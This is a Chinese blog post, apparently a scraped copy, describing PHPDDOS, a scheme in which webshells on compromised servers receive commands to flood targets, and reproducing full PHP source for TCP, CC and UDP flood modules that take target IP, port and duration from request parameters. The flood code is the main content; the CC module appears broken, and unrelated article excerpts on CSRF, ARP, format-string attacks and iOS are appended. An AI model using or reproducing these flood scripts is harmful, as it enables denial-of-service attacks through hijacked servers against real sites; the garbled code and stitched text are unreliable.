PHPDDOS攻击原理以及核心代码

前几天某些服务器被打得像狗,各种攻击呀,分析了一下,估计是用PHPDDOS干的,现在抓鸡艰难,哪有那么多鸟人可以抓到那么多鸡,成本也高。PHPDDOS就不一样了,拿到了shell就可以直接用来攻击了,真是杀人越货,居家旅行,必备神器。

PHPDDOS的原理是使用一个主控端批量向被控端(也就是特殊的webshell)发送攻击命令,方式一般是get或者post,达到统一指挥的目的。而被控端一般使用了php中的sock来进行攻击,在php越来越流行的今天,这种攻击必然会越来越流行。

去翻了一下,找到了些代码,代码来自phpddos.com,与本站无关。

TCP模块


1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

<?php

ini_set("display_errors", "Off");

$packets = 0;

$ip = $_GET[‘ip‘];

$port = $_GET[‘port‘];

set_time_limit(0);

ignore_user_abort(FALSE);

$exec_time = $_GET[‘time‘];

$time = time();

print "状态 : 正常运行中.....<br>";

$max_time = $time+$exec_time;

while(1){

$packets++;

        if(time() > $max_time){

                break;

        }

        $fp = fsockopen("tcp://$ip", $port,$errno,$errstr,0);

}

echo "================================================<br>";

echo "  <font color=blue>www.phpddos.com<br>";

echo "  SYN Flood 模块<br>";

echo "  作者:ybhacker<br>";

echo "  警告:本程序带有攻击性,仅供安全研究与教学之用,风险自负!</font><br>";

echo "================================================<br><br>";

echo "  攻击包总数:<font color=Red><span class=\"text\">".$packets." 个数据包</span><br><br></font>";

echo "  攻击总流量:<font color=Red><span class=\"text\">".round(($packets*65*8)/(1024*1024),2)." Mbps</span><br><br></font>";

echo "  攻击总字节:<font color=Red><span class=\"text\">".time(‘h:i:s‘)." 字节</span><br><br></font>";

echo "Packet complete at ".time(‘h:i:s‘)." with $packets (" .round(($packets*65*8)/(1024*1024),2). " Mbps) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";

?>

CC模块


1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

<?php

echo "状态 : 正常运行中.....<br>";

echo "================================================<br>";

echo "  <font color=blue>www.phpddos.com<br>";

echo "  CC Flood 模块<br>";

echo "  作者:ybhacker<br>";

echo "  警告:本程序带有攻击性,仅供安全研究与教学之用,风险自负!</font><br>";

echo "================================================<br><br>";

error_reporting(E_ALL);  //提示错误信息

set_time_limit(0);     //设定一个程式所允许执行的秒数   0 是无限循环

ob_implicit_flush();     // 刷新输出缓冲

$address = $_POST[‘site‘];  // 网站地址

$port = $_POST[‘port‘];      // 端口

$dongu = $_POST[‘dongu‘];   //循环次数

$sayi = 1;  

while ( $sayi <= $dongu )   //变量asyi小于 循环次数变量 dongu 才会继续循环

{

    if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) {

        echo "HaHa\n";

    }

    if (socket_bind($sock, $address, $port) === false) {       // 连接端口

        echo "HaHa\n";

    }

    if (socket_listen($sock, 5) === false) {

        echo "HaHa\n";

    }

        $msg = "HTTP/1.1 GET /\r\nHost:"+$_GET[‘site‘]+"\r\nConnection: Keep-Alive\r\n";

        socket_write($msg);

        socket_close($sock);

        $sayi++;   // 循环一次 变量sayi 加1

        echo "Goodbye...".$sayi;   // 输出循环次数

}

?>

UDP模块


1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

<?php

$packets = 0;

$ip = $_GET[‘ip‘];

$port = $_GET[‘port‘];

set_time_limit(0);

ignore_user_abort(FALSE);

$exec_time = $_GET[‘time‘];

$time = time();

print "状态 : 正常运行中.....<br>";

$max_time = $time+$exec_time;

for($i=0;$i<65535;$i++){

        $out .= "phpddos";

}

while(1){

$packets++;

        if(time() > $max_time){

                break;

        }

        $fp = fsockopen("udp://$ip", $port, $errno, $errstr, 5);

        if($fp){

                fwrite($fp, $out);

                fclose($fp);

        }

}

echo "================================================<br>";

echo "  <font color=blue>www.phpddos.com<br>";

echo "  作者:ybhacker<br>";

echo "  警告:本程序带有攻击性,仅供安全研究与教学之用,风险自负!</font><br>";

echo "================================================<br><br>";

echo "  攻击包总数:<font color=Red><span class=\"text\">".$packets." 个数据包</span><br><br></font>";

echo "  攻击总流量:<font color=Red><span class=\"text\">".round(($packets*65*8)/(1024*1024),2)." Mbps</span><br><br></font>";

echo "  攻击总字节:<font color=Red><span class=\"text\">".time(‘h:i:s‘)." 字节</span><br><br></font>";

echo "Packet complete at ".time(‘h:i:s‘)." with $packets (" .round(($packets*65*8)/(1024*1024),2). " Mbps) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";

?>

时间: 2024-10-29 19:10:48

PHPDDOS攻击原理以及核心代码的相关文章

格式化字符串攻击原理及示例

一.类printf函数簇实现原理 类printf函数的最大的特点就是,在函数定义的时候无法知道函数实参的数目和类型. 对于这种情况,可以使用省略号指定参数表. 带有省略号的函数定义中,参数表分为两部分,前半部分是确定个数.确定类型的参数,第二部分就是省略号,代表数目和类型都不确定的参数表,省略号参数表中参数的个数和参数的类型是事先的约定计算出来的,每个实参的地址(指针)是根据确定参数表中最后一个实参的地址算出来的. 这里涉及到函数调用时的栈操作.函数栈的栈底是高地址,栈顶是底地址.在函数调用 时

从阅读Discuz的核心代码并给出注释的经历分析程序员该如何阅读代码?

本文标签:   程序员 php Discuz的核心代码 框架 深度学习框架 阅读优秀的代码,是技术水平成长的最佳途径.记得每个进来的新人,我都做过阅读优秀代码的要求,但几乎都只能坚持很少一段时间而已. 前晚大家还在开玩笑的讨论,都是因为看了前人的一些写法,才学会了一些乱七八糟的花招. 晚上我又开始重新阅读Discuz的核心代码,花了1h多的时间,才完成一个core文件的注释. 注释后的代码: <?php /** * [Discuz!] (C)2001-2099 Comsenz Inc. * Th

格式化字符串攻击原理及示例.RP

格式化字符串攻击原理及示例 一.类printf函数簇实现原理 类printf函数的最大的特点就是,在函数定义的时候无法知道函数实参的数目和类型. 对于这种情况,可以使用省略号指定参数表. 带有省略号的函数定义中,参数表分为两部分,前半部分是确定个数.确定类型的参数,第二部分就是省略号,代表数目和类型都不确定的参数表,省略号参数表中参数的个数和参数的类型是事先的约定计算出来的,每个实参的地址(指针)是根据确定参数表中最后一个实参的地址算出来的. 这里涉及到函数调用时的栈操作.函数栈的栈底是高地址,

李洪强iOS开发之RunLoop的原理和核心机制

李洪强iOS开发之RunLoop的原理和核心机制 搞iOS之后一直没有深入研究过RunLoop,非常的惭愧.刚好前一阵子负责性能优化项目,需要利用RunLoop做性能优化和性能检测,趁着这个机会深入研究了RunLoop的原理和特性. RunLoop的定义 当有持续的异步任务需求时,我们会创建一个独立的生命周期可控的线程.RunLoop就是控制线程生命周期并接收事件进行处理的机制. RunLoop是iOS事件响应与任务处理最核心的机制,它贯穿iOS整个系统. Foundation: NSRunLo

CSRF 攻击原理和防御方法

1. CSRF攻击原理 CSRF(Cross site request forgery),即跨站请求伪造.我们知道XSS是跨站脚本攻击,就是在用户的浏览器中执行攻击者的脚本,来获得其cookie等信息.而CSRF确实,借用用户的身份,向web server发送请求,因为该请求不是用户本意,所以称为“跨站请求伪造”. 一般而且存在XSS漏洞的网站,也极有可能存在CSRF漏洞.因为CSRF攻击中的那个“伪造的请求”的URL地址,一般是通过XSS攻击来注入到服务器中的.所以其实CSRF是以XSS为基础

图解ARP协议(二)ARP攻击原理与实践

一.ARP攻击概述 在上篇文章里,我给大家普及了ARP协议的基本原理,包括ARP请求应答.数据包结构以及协议分层标准,今天我们继续讨论大家最感兴趣的话题:ARP攻击原理是什么?通过ARP攻击可以做什么,账号是否可以被窃取?有哪些常见的ARP渗透(攻击)工具可以用来练手?ARP扫描和攻击有什么区别,底层数据包特征是怎样的? 接下来,我们通过图解的方式来深入了解ARP攻击是如何实现的. 二.ARP攻击原理 但凡局域网存在ARP攻击,都说明网络存在"中间人",我们可以用下图来解释. 在这个局

深度揭密轮播插件核心代码的实现过程

轮播效果在网页中用的很多,swiper是其中最有代表性的作品,它支持水平和竖直滑动,还有反弹效果,兼容移动端和pc端.当然代码量也是相当大的,单是js就有5300行(3.4.0的未缩版本),若不考虑代码利用率和加载速度直接就用了,在移动端比较慎重,比如京东(m.jd.com)的轮播就没有用它,而是自己实现了类似的功能,代码量很少的样子(格式化之后看起来二三百行左右的样子).那么这个功能如果自己来实现,要怎么做呢? 准备工作 1. 准备几张图片(我这里放了四张) 2. 搭建目录结构(html+cs

DDOS攻击原理及防护方法论

从 07年的爱沙尼亚DDOS信息战,到今年广西南宁30个网吧遭受到DDOS勒索,再到新浪网遭受DDOS攻击无法提供对外服务500多分钟. DDOS愈演愈烈,攻击事件明显增多,攻击流量也明显增大,形势十分严峻,超过1G的攻击流量频频出现,CNCERT/CC掌握的数据表明,最高时达到了 12G,这样流量,甚至连专业的机房都无法抵挡.更为严峻的是:利用DDOS攻击手段敲诈勒索已经形成了一条完整的产业链!并且,攻击者实施成本极低,在 网上可以随便搜索到一大堆攻击脚本.工具工具,对攻击者的技术要求也越来越

CC攻击原理和防御方法

很多朋友都知道木桶理论,一桶水的最大容量不是由它最高的地方决定的,而是由它最低的地方决定,服务器也是一样,服务器的安全性也是由它最脆弱的地方决定的,最脆弱的地方有多危险服务器就有多危险.DDOS也是一样,只要你的服务器存在一个很耗资源的地方,限制又不够,就马上成为别人DDOS的对象.比如SYN-FLOOD,它就是利用服务器的半连接状态比完全连接状态更耗资源,而SYN发动方只需要不停的发包,根本不需要多少资源. 一个好的DDOS攻击必须是通过自己极少资源的消耗带来对方较大的资源消耗,否则比如ICM